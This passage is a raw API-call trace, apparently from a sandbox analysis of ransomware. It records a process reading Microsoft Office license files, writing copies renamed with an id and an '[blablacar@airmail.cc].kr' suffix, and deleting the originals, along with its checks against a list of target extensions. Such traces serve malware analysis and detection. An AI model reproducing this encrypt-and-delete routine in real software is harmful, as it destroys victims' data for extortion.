Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.646] lstrlenW (lpString=".zip") returned 4 [0211.646] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString=".rar") returned 4 [0211.646] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString=".bz2") returned 4 [0211.646] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString=".7z") returned 3 [0211.646] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.647] lstrlenW (lpString=".dbf") returned 4 [0211.647] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.647] lstrlenW (lpString=".1cd") returned 4 [0211.647] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.647] lstrlenW (lpString=".jpg") returned 4 [0211.647] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.647] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.647] lstrlenW (lpString="PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 33 [0211.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.648] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20946) returned 1 [0211.648] CloseHandle (hObject=0x51c) returned 1 [0211.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0211.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.648] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.648] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0211.649] GetLastError () returned 0x0 [0211.649] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x51d2, lpOverlapped=0x0) returned 1 [0211.652] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x51e0, lpOverlapped=0x0) returned 1 [0211.653] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.653] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x116, lpOverlapped=0x0) returned 1 [0211.654] SetEndOfFile (hFile=0x554) returned 1 [0211.654] CloseHandle (hObject=0x554) returned 1 [0211.654] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.654] SetEndOfFile (hFile=0x51c) returned 1 [0211.657] CloseHandle (hObject=0x51c) returned 1 [0211.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms")) returned 1 [0211.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.658] lstrlenW (lpString=".doc") returned 4 [0211.658] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.658] lstrlenW (lpString=".docx") returned 5 [0211.658] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.658] lstrlenW (lpString=".pdf") returned 4 [0211.658] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.658] lstrlenW (lpString=".xls") returned 4 [0211.658] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.658] lstrlenW (lpString=".xlsx") returned 5 [0211.658] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.658] lstrlenW (lpString=".ppt") returned 4 [0211.658] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.658] lstrlenW (lpString=".zip") returned 4 [0211.659] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString=".rar") returned 4 [0211.659] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString=".bz2") returned 4 [0211.659] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString=".7z") returned 3 [0211.659] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.659] lstrlenW (lpString=".dbf") returned 4 [0211.659] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.659] lstrlenW (lpString=".1cd") returned 4 [0211.659] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.659] lstrlenW (lpString=".jpg") returned 4 [0211.659] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.659] lstrlenW (lpString=".doc") returned 4 [0211.659] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString=".docx") returned 5 [0211.659] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.659] lstrlenW (lpString=".pdf") returned 4 [0211.659] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString=".xls") returned 4 [0211.659] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString=".xlsx") returned 5 [0211.659] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.659] lstrlenW (lpString=".ppt") returned 4 [0211.659] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.659] lstrlenW (lpString=".zip") returned 4 [0211.659] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.660] lstrlenW (lpString=".rar") returned 4 [0211.660] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.660] lstrlenW (lpString=".bz2") returned 4 [0211.660] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.660] lstrlenW (lpString=".7z") returned 3 [0211.660] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.660] lstrlenW (lpString=".dbf") returned 4 [0211.660] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.660] lstrlenW (lpString=".1cd") returned 4 [0211.660] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0211.660] lstrlenW (lpString=".jpg") returned 4 [0211.660] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.660] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.660] lstrlenW (lpString="PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 36 [0211.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.661] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11617) returned 1 [0211.661] CloseHandle (hObject=0x51c) returned 1 [0211.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0211.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.661] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.661] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.785] GetLastError () returned 0x0 [0211.785] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d61, lpOverlapped=0x0) returned 1 [0211.788] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0211.789] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.789] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11c, lpOverlapped=0x0) returned 1 [0211.789] SetEndOfFile (hFile=0x38c) returned 1 [0211.789] CloseHandle (hObject=0x38c) returned 1 [0211.789] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.789] SetEndOfFile (hFile=0x51c) returned 1 [0211.794] CloseHandle (hObject=0x51c) returned 1 [0211.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0211.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.799] lstrlenW (lpString=".doc") returned 4 [0211.799] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.799] lstrlenW (lpString=".docx") returned 5 [0211.799] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.799] lstrlenW (lpString=".pdf") returned 4 [0211.799] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.799] lstrlenW (lpString=".xls") returned 4 [0211.799] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.799] lstrlenW (lpString=".xlsx") returned 5 [0211.799] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.799] lstrlenW (lpString=".ppt") returned 4 [0211.799] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.799] lstrlenW (lpString=".zip") returned 4 [0211.799] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.799] lstrlenW (lpString=".rar") returned 4 [0211.799] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.799] lstrlenW (lpString=".bz2") returned 4 [0211.799] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.799] lstrlenW (lpString=".7z") returned 3 [0211.799] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.799] lstrlenW (lpString=".dbf") returned 4 [0211.799] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.799] lstrlenW (lpString=".1cd") returned 4 [0211.799] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.800] lstrlenW (lpString=".jpg") returned 4 [0211.800] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.800] lstrlenW (lpString=".doc") returned 4 [0211.800] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString=".docx") returned 5 [0211.800] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.800] lstrlenW (lpString=".pdf") returned 4 [0211.800] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString=".xls") returned 4 [0211.800] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString=".xlsx") returned 5 [0211.800] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.800] lstrlenW (lpString=".ppt") returned 4 [0211.800] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.800] lstrlenW (lpString=".zip") returned 4 [0211.800] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString=".rar") returned 4 [0211.800] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString=".bz2") returned 4 [0211.800] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString=".7z") returned 3 [0211.800] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.800] lstrlenW (lpString=".dbf") returned 4 [0211.800] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.800] lstrlenW (lpString=".1cd") returned 4 [0211.800] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0211.800] lstrlenW (lpString=".jpg") returned 4 [0211.801] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.801] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.801] lstrlenW (lpString="PersonalR_Grace-ppd.xrm-ms") returned 26 [0211.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.802] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20989) returned 1 [0211.802] CloseHandle (hObject=0x51c) returned 1 [0211.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms")) returned 0x220 [0211.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.802] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.802] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.808] GetLastError () returned 0x0 [0211.808] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x51fd, lpOverlapped=0x0) returned 1 [0211.810] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5200, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5200, lpOverlapped=0x0) returned 1 [0211.811] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.811] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x108, lpOverlapped=0x0) returned 1 [0211.811] SetEndOfFile (hFile=0x38c) returned 1 [0211.811] CloseHandle (hObject=0x38c) returned 1 [0211.811] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.811] SetEndOfFile (hFile=0x51c) returned 1 [0211.815] CloseHandle (hObject=0x51c) returned 1 [0211.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms")) returned 1 [0211.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.816] lstrlenW (lpString=".doc") returned 4 [0211.816] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.816] lstrlenW (lpString=".docx") returned 5 [0211.816] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.816] lstrlenW (lpString=".pdf") returned 4 [0211.816] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.816] lstrlenW (lpString=".xls") returned 4 [0211.816] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.816] lstrlenW (lpString=".xlsx") returned 5 [0211.816] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.816] lstrlenW (lpString=".ppt") returned 4 [0211.816] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.816] lstrlenW (lpString=".zip") returned 4 [0211.816] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.816] lstrlenW (lpString=".rar") returned 4 [0211.816] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.816] lstrlenW (lpString=".bz2") returned 4 [0211.816] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.816] lstrlenW (lpString=".7z") returned 3 [0211.816] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.816] lstrlenW (lpString=".dbf") returned 4 [0211.817] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.817] lstrlenW (lpString=".1cd") returned 4 [0211.817] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.817] lstrlenW (lpString=".jpg") returned 4 [0211.817] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 